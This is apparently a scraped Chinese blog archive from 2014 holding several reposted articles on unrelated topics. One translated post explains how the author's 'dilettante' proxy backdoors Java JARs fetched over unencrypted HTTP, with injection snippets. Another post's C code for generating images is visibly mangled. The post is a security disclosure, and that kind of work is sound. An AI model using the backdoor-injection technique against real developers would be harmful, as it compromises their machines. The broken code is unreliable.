二少者,蜀地人士,貌美如花。至LM居前,与三位高人只是神交,素未蒙面,电话中爽朗之夺命三声笑已是声名远播。四爷曾专程到L市拜访二少,因惧其笑声后退避三舍发奋图强苦练炒蛋。后与三爷四爷会于S机场,皆被其外貌所迷惑,真女子也,惊为天人,后在LM居朝夕相处,才知非也。 初至LM居,因罗兰尚在芝城,迟迟不露面,二少担任烹饪之职,三爷四爷评价颇丰。不日,罗兰至,二少退,从此养尊处优,厨房之事全由其余三人担任,令四爷艳羡不已,时时哀叹,此女之幸啊,恨不得女儿身。 二少称自L大起冠猛女。何谓猛女?于健身房中,二少、三爷、四爷三人比试长跑。四爷坚持一刻便退下,曰,我欲练器械,需省体力。三爷中途减速两次小憩,半个时辰十之又八里,近于虚脱。回头观二少,十五里,悠然自得,闲庭信步,不枉猛女之名。自此,四爷只练器械,逢二少跑步,必退避三舍。罗兰曾尝试与二少比拼,亦早早败下阵来。多次晚间步行至城中,后突发奇想步至战地商厦,自LM居往返廿余里。至战地,狂血拼,尽兴而归,叹,二十里不过如此尔,嗖易贼。吾同窗闻之,叹,女中豪杰是也! 春田初购车日,二少欲驾。待四人上车后,曰何为刹车?三人闻之皆倒,何来驾驶许可?后驱车观光至郊区,忘其来路,速返。询技术何如?答,尚可,唯不识章法。 据二少口传,霸王花之名自其中学之时已有。一男喜捉弄二少,一日藏其包,男观二少甚急,惧,不敢言,掷二少包于楼下。二少遍寻不着,归。次日,某人拾包还二少,方知乃前男所为。吼,速出,吾欲语之。男垂头出,二少推之,男仆地,踏足于男身,吼,汝复如之否?此刻,同楼之同窗俱出,观男之惨状,皆叹。二少之霸王花之名始出云。 二少精通西洋之语,所学课程,轻松至极。考试之前必尽情玩乐,考试之日发奋阅书半日,均能拔得头筹。罗兰四爷试前每日潜心研究,勉强取胜。某日午后考试,二少午前才从芝城归来,一目十行,成绩亦为LM居之首。经多次试验,每每如此。四爷叹,二少乃神人,吾需信之,挂二少像与床前,每日焚香祷告,念,信二少,得永生!后传至同窗耳中,皆信二少为神人,自此二少教始成矣。 某日,HH携米至,旋返。三爷异,询二少,何故?答曰,发热耳。三爷复问,因HH发热携米至?二少辨,其日实发热。(内容缺失若干)。 二少如今在G国研习博士,亦风姿飒爽,周游全球。 赠与二少。 --- ## 顽强的小青蛙 Date: 2014-08-23 URL: https://blog.wo.ai/archives/597 Categories: Life 数月前沐沐抓了只青蛙回来,养水桶里,第二天发现它不见了,找了很久都没找到。昨天打扫卫生时,发现厨房门后有个怪东西,走进一看,是缩成一团的青蛙,偶尔还动一下,放进水里,游得很欢。感叹这只青蛙真的很顽强,没有水没有食物几个月都挺过来了。 --- ## 用Visual Studio的logo做壁纸,Visual Studio 控看过来 Date: 2014-08-22 URL: https://blog.wo.ai/archives/681 Categories: Uncategorized [![tumblr_n08htlr4Qi1qbkusho1_1280](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2a76ae0adb_e1d1fe1ffaf4078b08fe0fe544df8729.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2a76ae0adb_e1d1fe1ffaf4078b08fe0fe544df8729.jpg "用Visual Studio的logo做壁纸,Visual Studio 控看过来") [![tumblr_mwiikeMdgv1qbkusho1_1280.png](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/67743470ac_d38fb8f196515027ebe32fc7be04ddae.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/67743470ac_d38fb8f196515027ebe32fc7be04ddae.jpg "用Visual Studio的logo做壁纸,Visual Studio 控看过来") [![tumblr_mwiilq51491qbkusho1_1280.png](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7e38e25fe2_de8aea614cb36ce147e5bee0129a9fea.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7e38e25fe2_de8aea614cb36ce147e5bee0129a9fea.jpg "用Visual Studio的logo做壁纸,Visual Studio 控看过来") [![tumblr_mwiiixNSpW1qbkusho1_1280](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9229602362_9bf58134d893929f4e22e6d2b8e5cd3d.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9229602362_9bf58134d893929f4e22e6d2b8e5cd3d.png "用Visual Studio的logo做壁纸,Visual Studio 控看过来") [![tumblr_mwiihl8ryr1qbkusho1_1280](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b7194214e_4a8ce64fbf6a952659f92802c0204062.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b7194214e_4a8ce64fbf6a952659f92802c0204062.png "用Visual Studio的logo做壁纸,Visual Studio 控看过来") [![tumblr_mwiinpvFzt1qbkusho1_1280.png](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6bb3ece63d_3fd215a5d4252f5539bb71046273daae.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6bb3ece63d_3fd215a5d4252f5539bb71046273daae.jpg "用Visual Studio的logo做壁纸,Visual Studio 控看过来") [![tumblr_m9l4br5NUK1qbkusho1_1280](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e110533488_3ffd62f40808b7d19201aafb32e6539f.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e110533488_3ffd62f40808b7d19201aafb32e6539f.png "用Visual Studio的logo做壁纸,Visual Studio 控看过来") [![tumblr_mqwgprriHJ1qbkusho1_1280.png](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/29e4ceb906_d5793d77a1f4cd0c4abd8190c0098bf0.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/29e4ceb906_d5793d77a1f4cd0c4abd8190c0098bf0.jpg "用Visual Studio的logo做壁纸,Visual Studio 控看过来") [![tumblr_mvmeihIRfM1qbkusho1_1280.png](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d6cef6d2a0_ecead6881fa04acb8733c4b416b865d9.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d6cef6d2a0_ecead6881fa04acb8733c4b416b865d9.jpg "用Visual Studio的logo做壁纸,Visual Studio 控看过来") [![tumblr_mvhd3aFpHI1qbkusho1_1280](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8de3ed4a38_1086884569d3f71b43d36094ba6d492b.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8de3ed4a38_1086884569d3f71b43d36094ba6d492b.png "用Visual Studio的logo做壁纸,Visual Studio 控看过来") 有了这个一起共享 Visual Studio 壁纸来美化自己的桌面的网站,你还等什么呢? [用Visual Studio的logo做壁纸,Visual Studio 控看过来](http://www.geekfan.net/11549/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Nanoleaf Bloom:无需额外应用控制亮度的智能灯泡 Date: 2014-08-21 URL: https://blog.wo.ai/archives/678 Categories: Uncategorized [![screen-shot-2014-08-19-at-12-21-22-pm](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/698ad6334b_b625f24c42f9383814228ec0ac584574.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/698ad6334b_b625f24c42f9383814228ec0ac584574.png "Nanoleaf Bloom:无需额外应用控制亮度的智能灯泡") 说起市面上的高效节能智能灯泡,消费者的选择还是不少的,能叫上名的就有LIFX、飞利浦的Hue、Brightup、LuMini、Emberlight、LightFreq还有三星的蓝牙Smart Bulb。这些产品的特点各异,但花哨的灯光颜色(甚至还有铃儿响叮当的功能)却是共同的特点。除此之外,它们还有一个共性,那就是必须使用相对应的手机应用进行控制。 但如果你不想连调个灯光亮度都要麻烦手机(其实是你自己),那么接下来的产品可能就是你需要的。 一般对于传统灯泡,把墙上的开/关面板换成旋钮式面板,或者买一个直接插到电源插座上的明暗控制器就可以解决这个问题,但如果你不想用传统的解决方案,非要使用智能灯泡,那么就会如上面所说每次都要使用手机进入物联网控制,这比用传统灯泡要麻烦多了。 不过,问题马上就能得到解决了。Kickstarter上的一个项目为人们提供了一只更智能的LED灯泡,它可以在不用安装任何额外应用或者更换旋钮面板的前提下调整灯泡的亮度,而且它的外观还很有型呢。 这款“更智能的灯泡”叫做Nanoleaf Bloom,整个灯体由33颗LED灯珠均匀覆盖,并直接利用大多数家庭里的开/关面板控制亮度,这意味着户主不需要额外的硬件和或者应用就能控制,一步到位。说实话我心里已经长草了,估计买上10个都不够。而且,看项目的进展,我觉得很多人都和我抱有同样的想法——项目原先的3万美元筹资目标早在几天前就达成了,现在,距项目结束还有24天的时候,它们获得的资金总额是13万8千美元! Nanoleaf Bloom包含一个微处理器,它能够将墙上的普通开关转换成可调亮度开关。要设置灯泡亮度,首先打开开关,灯泡开始由暗转明,达到你要的亮度时,关掉开关再打开就可以锁定了,就这么简单。 这款灯泡可以阶梯式调暗,只需按几下开关。此外它还提供了亮度5%(功率0.5W)的夜灯模式,只要快速开-关-开一次就可以了。如果你想要最亮,只要像普通灯泡一样打开开关,按下关闭的时候它就会直接熄灯,简单明了。要知道这一切的控制不需要任何形式的应用和额外控制器实现,简直太神奇了。 那么,Nanoleaf Bloom到底要多少钱呢?在Kickstarter上,他们为初期支持者提供了40美元一只的价格,即使是优惠价也不算便宜,不过算上开发团队的巧思和努力以及简约的设计,这笔投资还是很值得的。 [Nanoleaf Bloom:无需额外应用控制亮度的智能灯泡](http://www.geekfan.net/11529/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 黑客故事:如何接管Java/Clojure/Scala程序员的电脑 Date: 2014-08-20 URL: https://blog.wo.ai/archives/757 Categories: Uncategorized Sonatype已经对此帖做出了相应的反应,并在他们的[博客](http://blog.sonatype.com/2014/07/ssl_connectivity_for_central/ "SSL Connectivity")上声明将会对所有的用户开启SSL链接。这变化让Java程序的生态系统变得更加安全可靠,我为此感到非常高兴。 虽说如此,但如果当你看到这个博客,并考虑花10美元来评估你的产品是否需要这个安全性的需要时,答案是否定的。这就好比汽车公司决定花10美元来评估他们的汽车是否需要气囊。幸运的是,现实生活中汽车公司必须安装气囊。 Sonatype的这次机制修改令我感到很开心,希望他们能够继续减少安全性与产品的冲突。对于我们开发者而已,为用户提供最安全的最有保障的产品是我们的责任。用户对于不能处理好产品与安全性的容忍度能有多大。 有一天,我看到我的防火墙是这么设置的,于是我开始对我的一个Clojure项目进行入侵: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/49290757de_7cc829d3gw1ejg1uu2rt3j20k90bfaat.jpg) 然后我通过80端口在 [http//repo.maven.apache.org](http://repo.maven.apache.org/)下载了clojure.jar。这意味着我将能够通过一个未加密的http来下载包。我一开始认为这是[leiningen](http://leiningen.org/)的[问题](https://github.com/technomancy/leiningen/issues/1604)。但结果完全不是。Clojure.jar和其他许多的jar包在Java/Clojure/Scala领域都很重要,他们都会被正式的放在Sonatype提供的一个公共服务 –[ Maven Central](http://search.maven.org/)。[Sonatype](http://www.sonatype.com/)有一个机制:只有那些拥有身份标识的人才允许SSL链接。你需要通过捐给Apache基金会十美元,才能获得身份标识和SSL链接。如果你不相信我说的话,捐赠的网页[在这](http://www.sonatype.com/clm/secure-access-to-central),此机制[在此](http://www.sonatype.com/clm/secure-access-to-central)博客上声明。这里面甚至提到了中间人攻击。 因为身份标识是针对个人或者组织分发,所以像maven或者leiningen这些工具不能绑定它。如果你使用这些工具,那么下载java程序或者安装它的一些依赖不会通过SSL。经过我在twitter和Sonatype的一个员工对此事进行了争论,确认了此事。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/08213c2971_7cc829d3gw1ejg1uummb7j20hr0hdq5a.jpg) 你下载的jar包会来自中间人的,并且你执行的代码会被恶意软件替换过。要想阻止这类的事情发生,你需要小心的执行每一步操作,稍有不慎就会支付别人十美元。 通常什么时候会发生这类事情?如果你曾链接过咖啡店的公共网络或者[别人的无线网络](https://ettercap.github.io/ettercap/),中间人就能和你通信了。你的网络服务提供者应能够随意的跟你通信,有的人这么做是为了打广告。或者,你也会还会遭受来自[国家操纵](http://www.renesys.com/2013/11/mitm-internet-hijacking/)的这类攻击。 **Dilettante** 为了证明这有多么容易,我写了一个中间人代理[dilettante](https://github.com/mveytsman/dilettante),它功能是拦截来自于maven central的JAR包然后再注入恶意代码进去。 通过dilettante来代理http的传输,然后给任何在maven central下载的JAR包设置后门。那个设置了后门的版本同时会保留原有的功能,但是当他们使用的这个类库的时候,将会提示一个友好的信息。你可以[看这个视频](http://blog.ontoillogical.com/blog/2014/07/28/how-to-take-over-any-java-developer/): 或者截图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/36c7f54902_7cc829d3gw1ejg1uvfdy3j20zh0laadp.jpg) 源代码[在这](https://github.com/mveytsman/dilettante)。 **具体实现** JAR包从maven central 下载的时候,由于是通过HTTP进行传输的,因此中间人可以随意的替换。JAR包是可以被标识的,但是根据我对于标准工具使用的经验,这些标识是不会被检查的。其他唯一的方法可以验证一个也是通过HTTP传输的SHA1和。当dilettante发现有JAR来自maven central,它将会把一个拥有后门的版本来替换成原来的。然后替换后的版本将会在受害者的电脑上运行恶意的代码。由于SHA1仅是通过HTTP传输,那么dilettante会简单地将它所能看到的所有哈希表替换成对应的拥有后面JAR包的哈希表。 我用优秀的mitproxy类库来创建我的工具。我先为代理写一个inline script,然后又用libmproxy创建一个独立的工具。 package dilettante; public class Dilettante { public static void() { // do some evil stuff } } JAR包只是一个包含资源,类和元数据的压缩包。我通过添加自己的类到JAR,从而给这个JAR设置了后门。 稍微头疼的是想办法如何调用我的恶意代码。我知道受害者肯定会下载一些类库。然而我需要不管用户调用类库中的哪个类,它都能运行我的代码,并且还不能影响以前类库的正常使用。 Java有静态类块这一概念,它能在类级别进行初始化。当类加载到内存的时候,静态类里面的代码会只被调用这一次。在我把恶意的类插入到Jar包之后,我就能像下面这样在静态块里面调用代码: import dilettante.*; static { Dilettante.backdoor(); } 为了插入上面的代码,我需要将它直接插入到Java class里面,而不是source文件。我是使用[Karakatau](https://github.com/Storyyeller/Krakatau)将代码以[Jasmin](http://jasmin.sourceforge.net/)的格式插入进去。Karakatau是一个针对Python的Java 反编译/编译类库。 .method static : ()V ; method code size: 4 bytes .limit stack 0 .limit locals 0 invokestatic dilettante/Dilettante backdoor ()V return .end method **局限性** 这只是个概念化的试验,同时它还是存在局限性。 1.目前由于一些原因,它还不是很快: 我必须进行反编译和编译。如果能够直接插入编译好的代码到类里面,那就更高效了。 我实际上是通过使用Python的zipfile类库将压缩包的类文件都创建了个副本。从空间和速度方面而言,这是不高效的。如果能够更加了解zip的功能,可能会找到一个高效插入数据的方法。 2.如果用户同时下载多个JAR包。那么我将会逐个设置后门。恶意的代码在每个JAR只会被执行一次。但是如果多个jar被设置了后门,那么它将会被执行多次。如果我们将那个猫的图片替换成一个高质量,稳定的后门并且它能够只影响系统一次,那么这个问题就不会再出现。 [黑客故事:如何接管Java/Clojure/Scala程序员的电脑](http://blog.jobbole.com/75167/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 用三段 140 字符以内的代码生成一张 1024×1024 的图片 Date: 2014-08-18 URL: https://blog.wo.ai/archives/672 Categories: Uncategorized Kyle McCormick 在 StackExchange 上发起了一个叫做 [Tweetable Mathematical Art](http://codegolf.stackexchange.com/questions/35569/tweetable-mathematical-art) 的比赛,参赛者需要用三条推这么长的代码来生成一张图片。具体地说,参赛者需要用 C++ 语言编写 RD 、 GR 、 BL 三个函数,每个函数都不能超过 140 个字符。每个函数都会接到 i 和 j 两个整型参数(0 ≤ i, j ≤ 1023),然后需要返回一个 0 到 255 之间的整数,表示位于 (i, j) 的像素点的颜色值。举个例子,如果 RD(0, 0) 和 GR(0, 0) 返回的都是 0 ,但 BL(0, 0) 返回的是 255 ,那么图像的最左上角那个像素就是蓝色。参赛者编写的代码会被插进下面这段程序当中(我做了一些细微的改动),最终会生成一个大小为 1024×1024 的图片。 // NOTE: compile with g++ filename.cpp -std=c++11 #include #include #include #define DIM 1024 #define DM1 (DIM-1) #define _sq(x) ((x)*(x)) // square #define _cb(x) abs((x)*(x)*(x)) // absolute value of cube #define _cr(x) (unsigned char)(pow((x),1.0/3.0)) // cube root unsigned char GR(int,int); unsigned char BL(int,int); unsigned char RD(int i,int j){ // YOUR CODE HERE } unsigned char GR(int i,int j){ // YOUR CODE HERE } unsigned char BL(int i,int j){ // YOUR CODE HERE } void pixel_write(int,int); FILE *fp; int main(){ fp = fopen("MathPic.ppm","wb"); fprintf(fp, "P6\n%d %d\n255\n", DIM, DIM); for(int j=0;j4)break;}return log(k)*47; } unsigned char GR(int i,int j){ float x=0,y=0;int k;for(k=0;k++<256;){float a=x*x-y*y+(i-768.0)/512;y=2*x*y+(j-512.0)/512;x=a;if(x*x+y*y>4)break;}return log(k)*47; } unsigned char BL(int i,int j){ float x=0,y=0;int k;for(k=0;k++<256;){float a=x*x-y*y+(i-768.0)/512;y=2*x*y+(j-512.0)/512;x=a;if(x*x+y*y>4)break;}return 128-log(k)*23; } Manuel Kasten 也制作了一个 Mandelbrot 集的图片,与刚才不同的是,该图描绘的是 Mandelbrot 集在某处局部放大后的结果: [![201408126](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fba47be41c_8080690057301f1b1bf0a6491f5c41aa.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fba47be41c_8080690057301f1b1bf0a6491f5c41aa.jpg "用三段 140 字符以内的代码生成一张 1024×1024 的图片") 它的代码如下: unsigned char RD(int i,int j){ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880) {b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;} return 255*pow((n-80)/800,3.); } unsigned char GR(int i,int j){ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880) {b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;} return 255*pow((n-80)/800,.7); } unsigned char BL(int i,int j){ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880) {b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;} return 255*pow((n-80)/800,.5); } 这是 Manuel Kasten 的另一作品: [![201408122](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0de662a97a_69d41c8c4453e1b92b78c308cbbd40eb.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0de662a97a_69d41c8c4453e1b92b78c308cbbd40eb.jpg "用三段 140 字符以内的代码生成一张 1024×1024 的图片") 生成这张图片的代码很有意思:函数依靠 static 变量来控制绘画的进程,完全没有用到 i 和 j 这两个参数! unsigned char RD(int i,int j){ static double k;k+=rand()/1./RAND_MAX;int l=k;l%=512;return l>255?511-l:l; } unsigned char GR(int i,int j){ static double k;k+=rand()/1./RAND_MAX;int l=k;l%=512;return l>255?511-l:l; } unsigned char BL(int i,int j){ static double k;k+=rand()/1./RAND_MAX;int l=k;l%=512;return l>255?511-l:l; } 这是来自 githubphagocyte 的作品: [![201408123](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/828843dfe1_74b5ac7de824ec99469605b1afc7e535.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/828843dfe1_74b5ac7de824ec99469605b1afc7e535.jpg "用三段 140 字符以内的代码生成一张 1024×1024 的图片") 它的代码如下: unsigned char RD(int i,int j){ float s=3./(j+99); float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s; return (int((i+DIM)*s+y)%2+int((DIM*2-i)*s+y)%2)*127; } unsigned char GR(int i,int j){ float s=3./(j+99); float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s; return (int(5*((i+DIM)*s+y))%2+int(5*((DIM*2-i)*s+y))%2)*127; } unsigned char BL(int i,int j){ float s=3./(j+99); float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s; return (int(29*((i+DIM)*s+y))%2+int(29*((DIM*2-i)*s+y))%2)*127; } 这是来自 githubphagocyte 的另一个作品: [![201408127](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b187ac1bd9_d818e3fb00a77937ce6487ca80bdd172.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b187ac1bd9_d818e3fb00a77937ce6487ca80bdd172.jpg "用三段 140 字符以内的代码生成一张 1024×1024 的图片") 这是一张使用 diffusion-limited aggregation 模型得到的图片,程序运行起来要耗费不少时间。代码很有意思:巧妙地利用宏定义,打破了函数与函数之间的界限,三段代码的字数限制便能合在一起使用了。 unsigned char RD(int i,int j){ #define D DIM #define M m[(x+D+(d==0)-(d==2))%D][(y+D+(d==1)-(d==3))%D] #define R rand()%D #define B m[x][y] return(i+j)?256-(BL(i,j))/2:0; } unsigned char GR(int i,int j){ #define A static int m[D][D],e,x,y,d,c[4],f,n;if(i+j<1){for(d=D*D;d;d--){m[d%D][d/D]=d%6?0:rand()%2000?1:255;}for(n=1 return RD(i,j); } unsigned char BL(int i,int j){ A;n;n++){x=R;y=R;if(B==1){f=1;for(d=0;d<4;d++){c[d]=M;f=f2){B=f-1;}else{++e%=4;d=e;if(!c[e]){B=0;M=1;}}}}}return m[i][j]; } 最后这张图来自 Eric Tressler : [![201408128](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/569055229d_5c39042d873937408497e6bd621aadff.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/569055229d_5c39042d873937408497e6bd621aadff.jpg "用三段 140 字符以内的代码生成一张 1024×1024 的图片") 这是由 logistic 映射得到的 Feigenbaum 分岔图。和刚才一样,对应的代码也巧妙地利用了宏定义来节省字符: unsigned char RD(int i,int j){ #define A float a=0,b,k,r,x #define B int e,o #define C(x) x>255?255:x #define R return #define D DIM R BL(i,j)*(D-i)/D; } unsigned char GR(int i,int j){ #define E DM1 #define F static float #define G for( #define H r=a*1.6/D+2.4;x=1.0001*b/D R BL(i,j)*(D-j/2)/D; } unsigned char BL(int i,int j){ F c[D][D];if(i+j<1){A;B;G;aD/2){e=a;o=(E*x);c[e][o]+=0.01;}}}}}R C(c[j][i])*i/D; } [用三段 140 字符以内的代码生成一张 1024×1024 的图片](http://www.geekfan.net/11444/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 黑客入侵后,重新夺回我的网站 Date: 2014-08-16 URL: https://blog.wo.ai/archives/756 Categories: Uncategorized 自2012年3月开始我就一直运营的一个网站:RamshackleGlam.com 在上周被别人给盗了。它被一个叫“bahbouh”的家伙放到了一个名叫Flippa.com的拍卖网站上,差点就被卖给了出价最高的竞争者(大概3万刀的样子)。他答应给竞标人提供我的流量、文件以及数据,并且建议我可以受雇佣的形式继续写文章(或者说,他希望提供给竞标人“高质量的文章”和“SEO(搜索引擎优化)建议”来维持网站的流量售后服务)。 我是在上周六意识到我的网站被盗的。三天过后我把它给找了回来,而这中间经历了6个部门,超过50多名雇员的参与,和律师们的午夜会议,FBI的介入,以及一个诱捕行动——可能在Sandra Bullock主演的影片中出现过,只不过这次主角换成了…我。 当然,我之前就听说过身份盗用以及网络黑客的故事,但说实话,当这些事情发生在我身上时我的第一反应就是“这不可能!”即便是在发生后,我也没有完全弄懂为什么这是一件非常严重的事情。你(指黑客)难道就不能给我解释一下到底发生了什么事情,证明你是谁,怎么安排了这一切吗?!我们生活在这样一个高度被记录的世界,我完全想象不到有人能够伪装成别人带走任何真实的东西最后却全身而退,仅仅留下几个电话和我的一些懊恼。 这非常非常糟糕——它让我更惊恐、沮丧、难以适应——超乎了我的想象。 我从父亲那里找到了黑客的痕迹。他的朋友Anthony(也是他在[Pro Italia Online](http://www.store.proitalia.com/)上的合伙人,经营着一家名叫[ThoughtBox](http://thoughtbox.net/)的网站开发和咨询公司)曾经在Flippa上面浏览过——现在来看真是非常的巧——并发现了我的网站被放在了上面,并且列着一大堆可疑的清单。突然,我记起了在那天之前收到的一封邮件——它被我我当作垃圾邮件忽视掉了——来自于某人,说他“有兴趣购买”我的“博客”。我记得一个来自于YouTube的通知,有人在别处访问了我的账户——而我忽略了,上面说我登陆了一个移动设备,当时我以为是我的丈夫偶然登陆了我的账户。 但即便在我看到清单之后,我也没有在意:这看上去就像什么东西用几封邮件就能定下来一样。只是那个拍卖网站被定位在澳大利亚,并且没有联系电话,而当我发送了一封附带身份证复印件和网站的所有权证明后得到的却是一封打印信件。我询问了HostMonster——我花钱让他们运营我的网站,悲剧的发现我已经不再是我的网站的拥有者了:有人用他们的邮箱验证系统授权了我的域名转移给一个在GoDaddy(另外一个web注册服务,我也是他们的客户)上的私人账户。 #### 为什么事情很严重? 如果你有一个依赖于URL的业务,你就会明白为什么这是一个非常让人沮丧的新闻:通过控制我的网站的域名,一个黑客就可以将这个网站完全拿下,或者将其重定向至任何地方。进一步讲,后来被证实这个黑客也同样控制了网站上的所有内容;他可以将我写的东西改道发送至任何他想要到的地方。 Ramshackle Glam可能“仅仅”是一个关于育儿、时尚和装饰的生活类博客,但这也是我花了五年的时间苦心经营的一个网站,而它却落到了某些不坏好意的人手中,这伤透了我的心。我本可以转移到一个新的URL,并导出我所都的内容到那上面(我确实做了备份),但这会让我损失大量的流量。这个网站可是我的主要收入来源,它关系到[我的房子](http://www.ramshackleglam.com/2012/08/13/jordan-in-the-house-moving-day/),我的[两个孩子](http://www.ramshackleglam.com/2011/10/22/this-is-the-first-day/)([另一个](http://www.ramshackleglam.com/2014/01/13/here-we-go-again/)马上就要出生了),我这周即将要出版的[一本书](http://www.amazon.com/Ramshackle-Glam-Haphazard-Almost-Having/dp/0762453044/ref=sr_1_1?s=books&ie=UTF8&qid=1396361642&sr=1-1&keywords=ramshackle+glam),和我在工商学院的[老公](http://www.ramshackleglam.com/2013/08/06/developments-and-exciting-things/),这可不是开玩笑。失去这个URL很可能会对我的事业和生活造成实实在在的打击。 #### 所以我做了什么? 这个事件之后的接下来几天很复杂,所以我会解释我所走的每一步到最后导致的结果(我会详细的描述细节,希望能为那些有类似经历的人提供帮助)。 ##### 1、我试图直接通过GoDaddy和HostMonster来解决问题,但这不管用。 从周日到周二,我花了大量的时间(而且很多都是在晚上)与GoDaddy和HostMonster进行电话沟通,而几乎所有的人都给了我同样的回答:“对不起,我们对此无能为力。” HostMonster坚持认为由于他们不再控制这个域名,他们就没有什么能做的了。GoDaddy则认为由于该账户是私人的,并且那个人通过HostMonster的转移获取了域名的所有权,所以他们也不能做什么。 要说最后有什么进展:我引用了[ICANN的关于域名的争端解决方案](http://www.ramshackleglam.com/2013/08/06/developments-and-exciting-things/)。这让我的案子升级了,但这也并没有导致什么实际行动。 原因在此:HostMonster的法律部门向我告知,他们启动转让纠纷需要以GoDaddy向我返还域名为前提,他们的“内部调查”才能找出证据证明在释放网站的过程中出现了哪些问题。换句话说,他们到时候就不得不承认他们把事情给搞砸了…而这将打开对他们的诉讼。 不用说,我不会再听什么法律部门的胡扯了。尽管乍一看大家好像都是清白的,但事实是我拥有的网站在没经我授权的情况下被转移了,要是我不启动一个耗时且费钱的诉讼我将什么也做不了,总之,这些都不能很快挽回我那个即将要被出售的网站。 所以这条道走不通了。 [![Screen Shot 2014-03-31 at 10.15.47 PM](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eaf9c84860_Screen-Shot-2014-03-31-at-10-15-47-PM.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eaf9c84860_Screen-Shot-2014-03-31-at-10-15-47-PM.png "黑客入侵后,重新夺回我的网站") 译者注:如果你的域名在未经你授权的情况下被转移了,让支持人员告诉注册热线,说你有一个TEAC的适用场景并且需要立刻联系主管人。 ##### 2、我联系了FBI。这是我在正确的方向上走的关键的一步 在我发现转让的那个早上我就联系了FBI。我当时觉得自己蠢爆了,居然打了这样的电话,但事实却是这是一个国际网络犯罪事件,而FBI正好是干这个的。何况这也是我的事业。可能放到大背景下我这种事情简直就是鸡毛蒜皮的小事,可对我来说却不是,它可支撑着我的家庭。 那么让我来告诉你吧:所有在过去这一周遇到的令人吃惊的事情,绝大多数都是来自FBI。那天他们没过多久就给了我回应,包括几次电话和邮件的沟通,还在当天就派了两名特工来我家和我进行了一次当面的交流,一直到昨天,他们又来了一次。除此之外,过去这周我接触的每一个特工都非常能干,而且很友善,很体贴,也很投入并且行动非常迅速。他们待我并不是一个简单的号码,而是一个活生生的人。总而言之,他们令人尊敬。 而我所期望的是在一个邮箱上留言并在某个时刻收到一封信件;当然我并不想要立马就看到一封调查报告。当然,在这里我也不打算写这些调查过程,因为它还没有结束(尽管我得到了他们的授权),但是我觉得非常有必要讲一下我是如何对FBI的回应感到惊喜的。 ##### 3、我试图直接联系那个“卖家”要回我的网站。这起作用了,但也相当有戏剧性 当前面的工作都在进行的时候,我也在想办法直接找那个要卖我网站的家伙要回它。 我可不想直接联系那个“卖家”,要是让那个家伙知道网站的真实主人已经意识到了这笔交易,他很有可能会向我敲诈更多的钱。所以我找了Anthony——是他看到的最原始的清单,而且他还在Flippa上面有个有效账户——让他联系“bahbouh”问他是否有兴趣私下交易。经过一番讨价还价,我们最终得到了同意,并最终决定在一个第三方的交易网站([Escrow.com](https://www.escrow.com/))上面完成交易:当确认卖家将域名转移给我之后钱才会打给他。 正当我以为一切都很顺利的时候,在周二的晚上,那个卖家突然要求我立即把钱打给他(在收到网站之前)。我拒绝了,结果他声称他要将网站卖给另外一个人:“sorry,bye” 以下是我当时的想法:如果我不给钱,那肯定是收不回我的网站了。如果给钱,那么有一种可能是他拿了钱立马跑掉,但也有可能他会履行他的承诺,把网站还给我。这就像一场赌博…但显然我毫无选择。所以我最后还是同意了。 我花了20几分钟的时间坐在这该死的GoDaddy账户面前,等着看我的钱是不是打了水漂。 然后我的网站回来了。 我立即将这个域名(和我的其它域名一起)转移到另一个账户上,并锁定了它们。并致电汇款公司让他们终止交易。 #### 结果 